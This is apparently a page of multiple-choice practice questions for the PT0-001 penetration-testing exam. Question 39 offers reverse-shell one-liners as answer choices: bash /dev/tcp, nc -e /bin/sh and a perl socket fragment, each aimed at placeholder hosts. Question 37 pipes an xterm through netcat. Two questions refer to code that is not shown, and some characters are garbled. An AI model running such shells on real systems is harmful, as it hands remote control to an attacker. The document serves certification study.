PT0-001

PT0-001 practice questions, page 8 of 8, with answer review and explanations.

Question 36

A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output: Which of the following is the tester intending to do?

  1. Horizontally escalate privileges.
  2. Scrape the page for hidden fields.
  3. Analyze HTTP response code.
  4. Search for HTTP headers.

Question 37

A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?

  1. From the remote computer, run the following commands: export XHOST 192.168.1.10:0.0 xhost+ Terminal
  2. From the local computer, run the following command: ssh -L4444:127.0.0.1:6000 -X user@10.0.0.20 xterm
  3. From the remote computer, run the following command: ssh -R6000:127.0.0.1:4444 -p 6000 user@192.168.1.10 ג€xhost+; xtermג€
  4. From the local computer, run the following command: nc -l -p 6000 Then, from the remote computer, run the following command: xterm | nc 192.168.1.10 6000

Question 38

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy: Which of the following types of vulnerabilities is being exploited?

  1. Forced browsing vulnerability
  2. Parameter pollution vulnerability
  3. File upload vulnerability
  4. Cookie enumeration

Question 39

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

  1. perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
  2. ssh superadmin@<DESTINATIONIP> -p 443
  3. nc -e /bin/sh <SOURCEIP> 443
  4. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1